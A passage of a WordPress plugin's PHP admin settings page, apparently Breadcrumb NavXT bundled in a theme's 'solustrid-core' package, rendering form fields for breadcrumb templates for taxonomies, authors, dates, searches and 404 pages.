'adminkit-enset'); 643 $this->input_radio('Spost_' . $post_type->name . '_hierarchy_type', 'BCN_DATE', __('Dates', 'solustrid-core'), false, 'adminkit-enset'); 644 //Loop through all of the taxonomies in the array 645 foreach($wp_taxonomies as $taxonomy) 646 { 647 //Check for non-public taxonomies 648 if(!apply_filters('bcn_show_tax_private', $taxonomy->public, $taxonomy->name, $post_type->name)) 649 { 650 continue; 651 } 652 //We only want custom taxonomies 653 if($taxonomy->object_type == $post_type->name || in_array($post_type->name, $taxonomy->object_type)) 654 { 655 $this->input_radio('Spost_' . $post_type->name . '_hierarchy_type', $taxonomy->name, $taxonomy->labels->singular_name, false, 'adminkit-enset'); 656 } 657 } 658 ?> 659 <p class="description"> 660 <?php 661 if($post_type->hierarchical) 662 { 663 esc_html_e('The hierarchy which the breadcrumb trail will show.', 'solustrid-core'); 664 } 665 else 666 { 667 esc_html_e('The hierarchy which the breadcrumb trail will show. Note that the "Post Parent" option may require an additional plugin to behave as expected since this is a non-hierarchical post type.', 'solustrid-core'); 668 } 669 ?> 670 </p> 671 </td> 672 </tr> 673 </table> 674 <?php 675 } 676 } 677 do_action($this->unique_prefix . '_after_settings_tab_post', $this->opt); 678 ?> 679 </fieldset> 680 <fieldset id="tax" class="bcn_options alttab"> 681 <h3 class="tab-title" title="<?php _e('The settings for all taxonomies (including Categories, Tags, and custom taxonomies) are located under this tab.', 'solustrid-core');?>"><?php _e('Taxonomies', 'solustrid-core'); ?></h3> 682 <h3><?php _e('Categories', 'solustrid-core'); ?></h3> 683 <table class="form-table"> 684 <?php 685 $this->textbox(__('Category Template', 'solustrid-core'), 'Htax_category_template', '6', false, __('The template for category breadcrumbs.', 'solustrid-core')); 686 $this->textbox(__('Category Template (Unlinked)', 'solustrid-core'), 'Htax_category_template_no_anchor', '4', false, __('The template for category breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core')); 687 ?> 688 </table> 689 <h3><?php _e('Tags', 'solustrid-core'); ?></h3> 690 <table class="form-table"> 691 <?php 692 $this->textbox(__('Tag Template', 'solustrid-core'), 'Htax_post_tag_template', '6', false, __('The template for tag breadcrumbs.', 'solustrid-core')); 693 $this->textbox(__('Tag Template (Unlinked)', 'solustrid-core'), 'Htax_post_tag_template_no_anchor', '4', false, __('The template for tag breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core')); 694 ?> 695 </table> 696 <h3><?php _e('Post Formats', 'solustrid-core'); ?></h3> 697 <table class="form-table"> 698 <?php 699 $this->textbox(__('Post Format Template', 'solustrid-core'), 'Htax_post_format_template', '6', false, __('The template for post format breadcrumbs.', 'solustrid-core')); 700 $this->textbox(__('Post Format Template (Unlinked)', 'solustrid-core'), 'Htax_post_format_template_no_anchor', '4', false, __('The template for post_format breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core')); 701 ?> 702 </table> 703 <?php 704 //Loop through all of the taxonomies in the array 705 foreach($wp_taxonomies as $taxonomy) 706 { 707 //Check for non-public taxonomies 708 if(!apply_filters('bcn_show_tax_private', $taxonomy->public, $taxonomy->name, null)) 709 { 710 continue; 711 } 712 //We only want custom taxonomies 713 if(!$taxonomy->_builtin) 714 { 715 $label_lc = mb_strtolower($taxonomy->label, 'UTF-8'); 716 ?> 717 <h3><?php echo mb_convert_case($taxonomy->label, MB_CASE_TITLE, 'UTF-8'); ?></h3> 718 <table class="form-table"> 719 <?php 720 $this->textbox(sprintf(__('%s Template', 'solustrid-core'), $taxonomy->labels->singular_name), 'Htax_' . $taxonomy->name . '_template', '6', false, sprintf(__('The template for %s breadcrumbs.', 'solustrid-core'), $label_lc)); 721 $this->textbox(sprintf(__('%s Template (Unlinked)', 'solustrid-core'), $taxonomy->labels->singular_name), 'Htax_' . $taxonomy->name . '_template_no_anchor', '4', false, sprintf(__('The template for %s breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core'), $label_lc)); 722 ?> 723 </table> 724 <?php 725 } 726 } 727 do_action($this->unique_prefix . '_after_settings_tab_taxonomy', $this->opt); ?> 728 </fieldset> 729 <fieldset id="miscellaneous" class="bcn_options"> 730 <h3 class="tab-title" title="<?php _e('The settings for author and date archives, searches, and 404 pages are located under this tab.', 'solustrid-core');?>"><?php _e('Miscellaneous', 'solustrid-core'); ?></h3> 731 <h3><?php _e('Author Archives', 'solustrid-core'); ?></h3> 732 <table class="form-table"> 733 <?php 734 $this->textbox(__('Author Template', 'solustrid-core'), 'Hauthor_template', '6', false, __('The template for author breadcrumbs.', 'solustrid-core')); 735 $this->textbox(__('Author Template (Unlinked)', 'solustrid-core'), 'Hauthor_template_no_anchor', '4', false, __('The template for author breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core')); 736 $this->input_select(__('Author Display Format', 'solustrid-core'), 'Sauthor_name', array("display_name", "nickname", "first_name", "last_name"), false, __('display_name uses the name specified in "Display name publicly as" under the user profile the others correspond to options in the user profile.', 'solustrid-core')); 737 $optid = mtekk_adminKit::get_valid_id('aauthor_root'); 738 ?> 739 <tr valign="top"> 740 <th scope="row"> 741 <label for="<?php printf ($optid);?>"><?php esc_html_e('Author Root Page', 'solustrid-core');?></label> 742 </th> 743 <td> 744 <?php wp_dropdown_pages(array('name' => $this->unique_prefix . '_options[aauthor_root]', 'id' => $optid, 'echo' => 1, 'show_option_none' => __( '— Select —' ), 'option_none_value' => '0', 'selected' => $this->opt['aauthor_root']));?> 745 </td> 746 </tr> 747 </table> 748 <h3><?php _e('Miscellaneous', 'solustrid-core'); ?></h3> 749 <table class="form-table"> 750 <?php 751 $this->textbox(__('Date Template', 'solustrid-core'), 'Hdate_template', '6', false, __('The template for date breadcrumbs.', 'solustrid-core')); 752 $this->textbox(__('Date Template (Unlinked)', 'solustrid-core'), 'Hdate_template_no_anchor', '4', false, __('The template for date breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core')); 753 $this->textbox(__('Search Template', 'solustrid-core'), 'Hsearch_template', '6', false, __('The anchor template for search breadcrumbs, used only when the search results span several pages.', 'solustrid-core')); 754 $this->textbox(__('Search Template (Unlinked)', 'solustrid-core'), 'Hsearch_template_no_anchor', '4', false, __('The anchor template for search breadcrumbs, used only when the search results span several pages and the breadcrumb is not linked.', 'solustrid-core')); 755 $this->input_text(__('404 Title', 'solustrid-core'), 'S404_title', 'regular-text'); 756 $this->textbox(__('404 Template', 'solustrid-core'), 'H404_template', '4', false, __('The template for 404 breadcrumbs.', 'solustrid-core')); 757 ?> 758 </table> 759 <h3><?php _e('Deprecated', 'solustrid-core'); ?></h3> 760 <table class="form-table"> 761 <tr valign="top"> 762 <th scope="row"> 763 <?php esc_html_e('Title Length', 'solustrid-core'); ?> 764 </th> 765 <td> 766 <label> 767 <input name="bcn_options[blimit_title]" type="checkbox" id="blimit_title" value="true" <?php checked(true, $this->opt['blimit_title']); ?> /> 768 <?php printf(esc_html__('Limit the length of the breadcrumb title. (Deprecated, %suse CSS instead%s)', 'solustrid-core'), '<a title="' . esc_attr__('Go to the guide on trimming breadcrumb title lengths with CSS', 'solustrid-core') . '" href="https://mtekk.us/archives/guides/trimming-breadcrumb-title-lengths-with-css/">', '</a>');?> 769 </label><br /> 770 <ul> 771 <li> 772 <label for="amax_title_length"> 773 <?php esc_html_e('Max Title Length: ','solustrid-core');?> 774 <input type="number" name="bcn_options[amax_title_length]" id="amax_title_length" min="1" step="1" value="<?php echo esc_html($this->opt['amax_title_length'], ENT_COMPAT, 'UTF-8'); ?>" class="small-text" /> 775 </label> 776 </li> 777 </ul> 778 </td> 779 </tr> 780 </table> 781 <?php do_action($this->unique_prefix . '_after_settings_tab_miscellaneous', $this->opt); ?> 782 </fieldset> 783 <?php do_action($this->unique_prefix . '_after_settings_tabs', $this->opt); ?> 784 </div> 785 <p class="submit"><input type="submit" class="button-primary" name="bcn_admin_options" value="<?php esc_attr_e('Save Changes') ?>" /></p> 786 </form> 787 </div> 788 <?php 789 } 790 }